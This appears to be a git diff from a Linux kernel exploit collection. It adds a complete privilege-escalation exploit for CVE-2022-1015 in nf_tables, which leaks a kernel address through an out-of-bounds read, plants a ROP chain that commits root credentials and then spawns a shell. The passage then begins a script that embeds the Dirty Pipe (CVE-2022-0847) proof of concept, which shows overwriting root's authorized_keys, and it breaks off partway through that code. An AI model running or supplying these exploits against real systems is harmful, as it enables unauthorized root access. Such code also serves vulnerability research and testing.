||||
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle);
|
||||
|
||||
// create helpers (actually commits to the kernel)
|
||||
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int));
|
||||
|
||||
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
|
||||
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
|
||||
|
||||
// expression helpers
|
||||
void rule_add_bit_shift(
|
||||
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
|
||||
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len);
|
||||
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg);
|
||||
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);
|
||||
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len);
|
||||
|
||||
|
||||
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
|
||||
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name);
|
||||
|
||||
// add immediate of arbitrary length
|
||||
void rule_add_immediate_data_arblen(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
|
||||
|
||||
// misc. helpers
|
||||
pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int));
|
||||
int stop_listener(pid_t pid);
|
||||
int connect_to(char* ip_string, uint16_t port);
|
||||
void hexdump(void* data, size_t len, unsigned int n_columns);
|
||||
|
||||
void drop_to_networkns();
|
Binary file not shown.
|
@ -0,0 +1,615 @@
|
|||
/*
|
||||
* ----------------------------------------------------------------------------
|
||||
* "THE BEER-WARE LICENSE" (Revision 42):
|
||||
* David Bouman (pql) wrote this file. As long as you retain this notice you
|
||||
* can do whatever you want with this stuff. If we meet some day, and you think
|
||||
* this stuff is worth it, you can buy me a beer in return. Signed, David.
|
||||
* ----------------------------------------------------------------------------
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE 1
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sched.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <linux/limits.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/expr.h>
|
||||
|
||||
#include "helpers.h"
|
||||
|
||||
struct vuln_expr_params {
|
||||
uint32_t min_len;
|
||||
uint32_t max_len;
|
||||
uint32_t value;
|
||||
};
|
||||
|
||||
|
||||
void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq)
|
||||
{
|
||||
if (create_table(nl, table_name, AF_INET, seq, NULL) == -1) {
|
||||
perror("Failed creating table");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[+] Created nft %s\n", table_name);
|
||||
|
||||
struct unft_base_chain_param bp;
|
||||
bp.hook_num = NF_INET_LOCAL_OUT;
|
||||
bp.prio = 10;
|
||||
|
||||
if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL)) {
|
||||
perror("Failed creating base chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[+] Created base ipv4 chain %s\n", base_chain_name);
|
||||
}
|
||||
|
||||
static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift)
|
||||
{
|
||||
uint64_t base_ = (uint64_t)(1) << (32 - shift);
|
||||
uint32_t base = (uint32_t)(base_ - 1);
|
||||
|
||||
if (base == 0xffffffff) {
|
||||
base = 0xfffffffb; // max actual value
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
uint64_t computed = (base * 4) & 0xffffffff;
|
||||
uint64_t max_value = computed + (uint64_t)(max_len);
|
||||
if (max_value < ((uint64_t)(1) << 32)) {
|
||||
break;
|
||||
}
|
||||
|
||||
if ( (base & 0xff) != desired) {
|
||||
base--;
|
||||
continue;
|
||||
}
|
||||
|
||||
uint32_t len_at_least = ((uint64_t)1 << 32) - computed;
|
||||
uint32_t len_at_most = len_at_least + 0x50;
|
||||
|
||||
if (min_len > len_at_least) {
|
||||
len_at_least = min_len;
|
||||
}
|
||||
|
||||
if (max_len < len_at_most) {
|
||||
len_at_most = max_len;
|
||||
}
|
||||
result->max_len = len_at_most;
|
||||
result->min_len = len_at_least;
|
||||
result->value = base + 4;
|
||||
return 0;
|
||||
|
||||
}
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len)
|
||||
{
|
||||
|
||||
for (int i = 0; i < 3; ++i) {
|
||||
int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i);
|
||||
if (!res) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
#define MAGIC 0xdeadbeef0badc0de
|
||||
int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
|
||||
{
|
||||
|
||||
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
|
||||
|
||||
// we start by adding a rule to fetch the destination port
|
||||
// UDP header destination port starts at offset +2 and is 2 bytes long
|
||||
// we store the result in register 8
|
||||
|
||||
rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8);
|
||||
|
||||
// if the destination port does not match, the rule will accept the packet. This will save us a lot of noise,
|
||||
// including noise generated by packets sent by our server socket.
|
||||
|
||||
// the server sockets actually have a different stack layout than the client sockets in do_chain, so this is essential.
|
||||
|
||||
uint16_t dest_port = htons(9999);
|
||||
rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port);
|
||||
|
||||
// then, we fetch the first 8 bytes of the the inner header.
|
||||
// these need to match our magic value, or else the rule will accept the packet.
|
||||
// we do this as a failsafe that guarantees we only process packets we
|
||||
// actually want to process.
|
||||
|
||||
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 0, 8, 8);
|
||||
|
||||
uint64_t magic = MAGIC;
|
||||
rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic);
|
||||
|
||||
// If the packet passed these checks, we jump to the auxiliary chain
|
||||
|
||||
rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain");
|
||||
|
||||
// Commit rule to the kernel
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
int create_infoleak_rule(
|
||||
struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags)
|
||||
{
|
||||
|
||||
struct vuln_expr_params vuln_params;
|
||||
|
||||
// index 0xff translates to +0x3fc, and there's a kernel address that we can grab.
|
||||
|
||||
if (calc_vuln_expr_params(&vuln_params, 0xff, 0x40, 0x40)) {
|
||||
puts("Could not find correct params to trigger OOB read.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// we shift by pos*8 so that the first byte of the register will be the one at pos `pos`.
|
||||
uint32_t shift_amt = (pos * 8);
|
||||
rule_add_bit_shift(r, NFTA_BITWISE_SREG, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);
|
||||
|
||||
// we compare it to the constant - we can binary search
|
||||
|
||||
// if the compared value is greater than our supplied value,
|
||||
// we accept the packet. Else, we drop it.
|
||||
|
||||
rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1);
|
||||
|
||||
rule_add_immediate_verdict(r, NF_DROP, NULL);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE | extraflags, family, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
#define INFOLEAK_RULE_HANDLE 4
|
||||
uint8_t do_leak_byte(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint8_t pos, int* seq)
|
||||
{
|
||||
|
||||
uint8_t low = 0;
|
||||
uint8_t high = 255;
|
||||
|
||||
uint8_t mid;
|
||||
|
||||
char msg[16] = {};
|
||||
char result[16] = {};
|
||||
*(uint64_t*)msg = MAGIC;
|
||||
|
||||
for(;;) {
|
||||
|
||||
mid = (high + low) / 2;
|
||||
|
||||
printf("bounds (inclusive): [0x%.2hhx, 0x%.2hhx]\n", low, high);
|
||||
|
||||
if (low == high) {
|
||||
return mid;
|
||||
}
|
||||
|
||||
// Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE
|
||||
struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
|
||||
nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
|
||||
|
||||
// The rule is going to compare
|
||||
if (create_infoleak_rule(nl, r, mid, pos, NFPROTO_IPV4, seq, NLM_F_REPLACE)) {
|
||||
perror("Could not replace infoleak rule");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr);
|
||||
|
||||
struct sockaddr_in presumed_server_addr;
|
||||
socklen_t presumed_server_addr_len = sizeof presumed_server_addr;
|
||||
|
||||
int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len);
|
||||
if (!nrecv) {
|
||||
puts("[-] Remote socket closed...");
|
||||
exit(EXIT_FAILURE);
|
||||
} else if (nrecv < 0) {
|
||||
|
||||
// In case of timeout, value is greater than `mid`
|
||||
low = mid + 1;
|
||||
} else {
|
||||
if (strcmp(result, "MSG_OK")) {
|
||||
puts("[-] Something went wrong...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
memset(result, 0, sizeof result);
|
||||
|
||||
// But if we get a response, the packet arrived at the server and therefore the value is lower than or equal to mid
|
||||
|
||||
high = mid;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq)
|
||||
{
|
||||
|
||||
#define CLIENT_HOST "127.0.0.1"
|
||||
#define CLIENT_PORT 8888
|
||||
|
||||
int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
|
||||
struct sockaddr_in client_addr;
|
||||
inet_aton(CLIENT_HOST, &client_addr.sin_addr);
|
||||
client_addr.sin_port = htons(CLIENT_PORT);
|
||||
client_addr.sin_family = AF_INET;
|
||||
|
||||
if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0) {
|
||||
perror("client bind");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 100ms receive timeout
|
||||
// can probably be lower
|
||||
struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200};
|
||||
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t);
|
||||
|
||||
uint8_t results[4] = {};
|
||||
|
||||
for(int i = 1; i < 4; ++i) {
|
||||
results[i] = do_leak_byte(nl, client_sock, addr, table_name, aux_chain_name, i, seq);
|
||||
printf("[+] Leaked byte %i: %.2hhx\n", i, results[i]);
|
||||
}
|
||||
|
||||
close(client_sock);
|
||||
return *(uint32_t*)results;
|
||||
|
||||
}
|
||||
|
||||
int simple_handler(int fd)
|
||||
{
|
||||
char buf[4096] = {};
|
||||
|
||||
struct sockaddr_in client_addr = {};
|
||||
socklen_t client_addr_size = sizeof client_addr;
|
||||
size_t conn_id = 0;
|
||||
|
||||
for (;;) {
|
||||
|
||||
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
|
||||
|
||||
if (len <= 0) {
|
||||
printf("listener receive failed..\n");
|
||||
perror("");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Received message from [%s:%d] (udp) (0x%x bytes):\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port), len);
|
||||
hexdump(buf, len, 8);
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int leak_handler(int fd)
|
||||
{
|
||||
char buf[4096] = {};
|
||||
char send_back[] = "MSG_OK";
|
||||
struct sockaddr_in client_addr = {};
|
||||
socklen_t client_addr_size = sizeof client_addr;
|
||||
size_t conn_id = 0;
|
||||
|
||||
for (;;) {
|
||||
|
||||
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
|
||||
|
||||
if (len <= 0) {
|
||||
printf("listener receive failed..\n");
|
||||
perror("");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sendto(fd, send_back, sizeof(send_back), 0, (struct sockaddr*)&client_addr, client_addr_size);
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* new_stack;
|
||||
|
||||
/* This is where we return after our rop chain */
|
||||
extern void _after_rop();
|
||||
void after_rop()
|
||||
{
|
||||
|
||||
system("id");
|
||||
system("sh");
|
||||
|
||||
}
|
||||
|
||||
static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq)
|
||||
{
|
||||
|
||||
// return address is at regs.data[0xca]
|
||||
struct vuln_expr_params v;
|
||||
|
||||
if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) {
|
||||
puts("[-] Cannot find suitable parameters for planting ROP chain.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL);
|
||||
//nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
|
||||
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 8, v.max_len, v.value);
|
||||
|
||||
|
||||
int err = send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, NFPROTO_IPV4, (void**)&r, seq,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (err) {
|
||||
perror("send_batch_request");
|
||||
return err;
|
||||
}
|
||||
|
||||
return v.max_len;
|
||||
|
||||
}
|
||||
|
||||
void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length)
|
||||
{
|
||||
|
||||
// Structures in .data
|
||||
#define INIT_NSPROXY_OFF 0x1867360
|
||||
#define INIT_PID_NS_OFF 0x1866fe0
|
||||
#define INIT_CRED_OFF 0x18675a0
|
||||
|
||||
// Routines in .text
|
||||
#define SWITCH_TASK_NAMESPACES_OFF 0xd1040
|
||||
#define COMMIT_CREDS_OFF 0xd2430
|
||||
#define FIND_TASK_BY_VPID_OFF 0x0c8c80
|
||||
#define BPF_GET_CURRENT_TASK_OFF 0x1ebde0
|
||||
#define __DO_SOFTIRQ_OFF 0x1000000
|
||||
|
||||
// Gadgets
|
||||
#define MOV_RDI_RAX_OFF 0xc032fb // constraint: rcx==0
|
||||
#define POP_RDI_OFF 0x92610
|
||||
#define POP_RSI_OFF 0x676d2
|
||||
#define POP_RCX_OFF 0x139a3
|
||||
#define POP_RBP_OFF 0x6ffa8d
|
||||
#define XOR_ECX_ECX_OFF 0x7110bf
|
||||
#define MOV_R13_RCX_POP_RBP_OFF 0xaf089b
|
||||
#define POP_R11_R12_RBP_OFF 0x054645
|
||||
#define CLI_OFF 0x4df88b
|
||||
#define STI_OFF 0xc061c0
|
||||
#define MOV_RCX_RAX_OFF 0x2faad4
|
||||
#define SWAPGS_SYSRETQ_OFF 0xe000fb
|
||||
// Misc.
|
||||
#define OLD_TASK_FLAGS_OFF 0x1a554a // 0x40010000
|
||||
|
||||
uint64_t *packet = calloc(1, rop_length + 8);
|
||||
|
||||
packet[0] = 0;
|
||||
uint64_t* rop = &packet[1];
|
||||
|
||||
|
||||
// 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret
|
||||
|
||||
int i = 0;
|
||||
#define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0)
|
||||
|
||||
// clear interrupts
|
||||
_rop(kernel_base + CLI_OFF);
|
||||
|
||||
// make rbp-0x58 point to 0x40010000
|
||||
_rop(kernel_base + POP_RBP_OFF);
|
||||
_rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58);
|
||||
|
||||
/* Cleanly exit softirq and return to syscall context */
|
||||
_rop(kernel_base + __DO_SOFTIRQ_OFF + 418);
|
||||
|
||||
// stack frame was 0x60 bytes
|
||||
for(int j = 0; j < 12; ++j) _rop(0);
|
||||
|
||||
/* We're already on 128 bytes here */
|
||||
|
||||
// switch_task_namespaces(current, &init_nsproxy)
|
||||
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
|
||||
_rop(kernel_base + MOV_RDI_RAX_OFF); // rcx happens to aleady be 0
|
||||
_rop(kernel_base + POP_RSI_OFF);
|
||||
_rop(kernel_base + INIT_NSPROXY_OFF);
|
||||
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);
|
||||
|
||||
// commit_cred(&init_cred)
|
||||
_rop(kernel_base + POP_RDI_OFF);
|
||||
_rop(kernel_base + INIT_CRED_OFF);
|
||||
_rop(kernel_base + COMMIT_CREDS_OFF);
|
||||
|
||||
// pass control to system call stack
|
||||
// this is offset +0xc0 from our rop chain
|
||||
// target is at +0x168
|
||||
_rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret
|
||||
|
||||
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
puts("Triggering payload..");
|
||||
sendto(s, packet, rop_length + 8, 0, (struct sockaddr*)magic_addr, sizeof *magic_addr);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv, char** envp)
|
||||
{
|
||||
|
||||
if (argc < 2) {
|
||||
puts("[+] Dropping into network namespace");
|
||||
|
||||
// We're too lazy to perform uid mapping and such.
|
||||
char* new_argv[] = {
|
||||
"/usr/bin/unshare",
|
||||
"-Urn",
|
||||
argv[0],
|
||||
"EXPLOIT",
|
||||
NULL
|
||||
};
|
||||
|
||||
execve(new_argv[0], new_argv, envp);
|
||||
puts("Couldn't start unshare wrapper..");
|
||||
puts("Recompile the exploit with an appropriate unshare path.");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (strcmp("EXPLOIT", argv[1])) {
|
||||
puts("[-] Something went wrong...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// I'm too lazy to talk to NETLINK_ROUTE..
|
||||
// Deal with it!
|
||||
system("ip link set dev lo up");
|
||||
|
||||
struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
|
||||
|
||||
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
|
||||
perror("[-] mnl_socket_bind");
|
||||
puts("[-] Are you sure you have CAP_NET_ADMIN?..");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int seq = time(NULL);
|
||||
int err;
|
||||
|
||||
char *table_name = "exploit_table",
|
||||
*base_chain_name = "base_chain",
|
||||
*aux_chain_name = "aux_chain";
|
||||
|
||||
setup_nftables(nl, table_name, base_chain_name, &seq);
|
||||
|
||||
if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) {
|
||||
perror("Failed creating auxiliary chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created auxiliary chain %s\n", aux_chain_name);
|
||||
|
||||
if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) {
|
||||
perror("Failed creating base chain rule");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
puts("[+] Created base chain rule");
|
||||
|
||||
// we need to make a rule first in order to replace it
|
||||
// in our leaky rule creation. it's a bit of a hack but it works
|
||||
// We can also use it to determine whether the system is vulnerable
|
||||
// before actually exploiting.
|
||||
|
||||
struct vuln_expr_params v;
|
||||
|
||||
// offset 0xca and len 0xff is OOB
|
||||
if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) {
|
||||
puts("[-] Something went horribly wrong...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
|
||||
rule_add_payload(aux_rule, NFT_PAYLOAD_LL_HEADER, 8, v.max_len, v.value);
|
||||
|
||||
err = send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
|
||||
NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (err) {
|
||||
puts(CLR_RED "[+] TARGET IS NOT VULNERABLE to CVE-2022-1015!" CLR_RESET);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
puts("[+] Succesfully created rule with OOB nft_payload!");
|
||||
puts(CLR_GRN "[+] TARGET IS VULNERABLE to CVE-2022-1015!" CLR_RESET);
|
||||
puts("[+] Type 'y' to try exploiting the target.");
|
||||
puts(CLR_RED "!!!BEWARE: THIS IS LIKELY TO CAUSE A KERNEL PANIC!!!" CLR_RESET);
|
||||
|
||||
char a[4] = {};
|
||||
read(0, a, 1);
|
||||
|
||||
if (a[0] != 'y') {
|
||||
puts("Bye!");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
#define SERVER_HOST "127.0.0.1"
|
||||
#define SERVER_PORT 9999
|
||||
|
||||
int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler);
|
||||
|
||||
struct sockaddr_in server;
|
||||
inet_aton(SERVER_HOST, &server.sin_addr);
|
||||
server.sin_port = htons(SERVER_PORT);
|
||||
server.sin_family = AF_INET;
|
||||
|
||||
#define LEAK_BASE_OFFSET 0x9ac3ec
|
||||
uint32_t leak = do_leak(nl, &server, table_name, aux_chain_name, &seq);
|
||||
// first byte might fail due to buggy carry implementation with shift_amt = 0
|
||||
// so we just set it. The LSB will always remain constant.
|
||||
|
||||
uint64_t kernel_addr = 0xffffffff00000000 + leak + (LEAK_BASE_OFFSET & 0xff);
|
||||
uint64_t kernel_base = kernel_addr - LEAK_BASE_OFFSET;
|
||||
|
||||
|
||||
// If the kernel base isn't aligned we should probably not continue.
|
||||
if((kernel_base & 0xfffff) != 0) {
|
||||
puts("[-] Leak failed.");
|
||||
puts("[-] Try changing offsets / lengths / chain types.");
|
||||
puts("[-] If all leaked bytes were ff, this is probably because of corrupted loopback state.. RIP");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[+] Kernel base @ 0x%.16lx\n", kernel_base);
|
||||
stop_listener(pid);
|
||||
struct unft_base_chain_param bp;
|
||||
bp.hook_num = NF_INET_LOCAL_IN;
|
||||
bp.prio = 10;
|
||||
|
||||
if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL)) {
|
||||
perror("Failed adding second base chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq);
|
||||
if (err < 0) {
|
||||
perror("[-] Could not install ROP chain");
|
||||
exit(EXIT_FAILURE);
|
||||
};
|
||||
|
||||
new_stack = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x3ff0;
|
||||
trigger_rop(nl, kernel_base, &server, err);
|
||||
after_rop();
|
||||
}
|
|
@ -4,5 +4,6 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
|
||||
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
|
||||
- ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml
|
||||
- ConfigFile: CVE-2022-25636/CVE-2022-25636.yaml
|
||||
- ConfigFile: CVE-2022-1015/CVE-2022-1015.yaml
|
||||
- ConfigFile: CVE-2022-0847/CVE-2022-0847.yaml
|
||||
- ConfigFile: CVE-2021-4204/CVE-2021-4204.yaml
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
#/bin/bash
|
||||
cat>exp.c<<EOF
|
||||
/* SPDX-License-Identifier: GPL-2.0 */
|
||||
/*
|
||||
* Copyright 2022 CM4all GmbH / IONOS SE
|
||||
*
|
||||
* author: Max Kellermann <max.kellermann@ionos.com>
|
||||
*
|
||||
* Proof-of-concept exploit for the Dirty Pipe
|
||||
* vulnerability (CVE-2022-0847) caused by an uninitialized
|
||||
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
|
||||
* file contents in the page cache, even if the file is not permitted
|
||||
* to be written, immutable or on a read-only mount.
|
||||
*
|
||||
* This exploit requires Linux 5.8 or later; the code path was made
|
||||
* reachable by commit f6dd975583bd ("pipe: merge
|
||||
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
|
||||
* there before, it just provided an easy way to exploit it.
|
||||
*
|
||||
* There are two major limitations of this exploit: the offset cannot
|
||||
* be on a page boundary (it needs to write one byte before the offset
|
||||
* to add a reference to this page to the pipe), and the write cannot
|
||||
* cross a page boundary.
|
||||
*
|
||||
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
|
||||
*
|
||||
* Further explanation: https://dirtypipe.cm4all.com/
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/user.h>
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 4096
|
||||
#endif
|
||||
/**
|
||||
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
|
||||
* PIPE_BUF_FLAG_CAN_MERGE flag set.
|
||||
*/
|
||||
static void prepare_pipe(int p[2])
|
||||
{
|
||||
if (pipe(p)) abort();
|
||||
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
|
||||
static char buffer[4096];
|
||||
/* fill the pipe completely; each pipe_buffer will now have
|
||||
the PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
write(p[1], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
/* drain the pipe, freeing all pipe_buffer instances (but
|
||||
leaving the flags initialized) */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
read(p[0], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
/* the pipe is now empty, and if somebody adds a new
|
||||
pipe_buffer without initializing its "flags", the buffer
|
||||
will be mergeable */
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc != 4) {
|
||||
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* dumb command-line argument parser */
|
||||
const char *const path = argv[1];
|
||||
loff_t offset = strtoul(argv[2], NULL, 0);
|
||||
const char *const data = argv[3];
|
||||
const size_t data_size = strlen(data);
|
||||
if (offset % PAGE_SIZE == 0) {
|
||||
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
|
||||
const loff_t end_offset = offset + (loff_t)data_size;
|
||||
if (end_offset > next_page) {
|
||||
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* open the input file and validate the specified offset */
|
||||
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
|
||||
if (fd < 0) {
|
||||
perror("open failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) {
|
||||
perror("stat failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (offset > st.st_size) {
|
||||
fprintf(stderr, "Offset is not inside the file\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (end_offset > st.st_size) {
|
||||
fprintf(stderr, "Sorry, cannot enlarge the file\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* create the pipe with all flags initialized with
|
||||
PIPE_BUF_FLAG_CAN_MERGE */
|
||||
int p[2];
|
||||
prepare_pipe(p);
|
||||
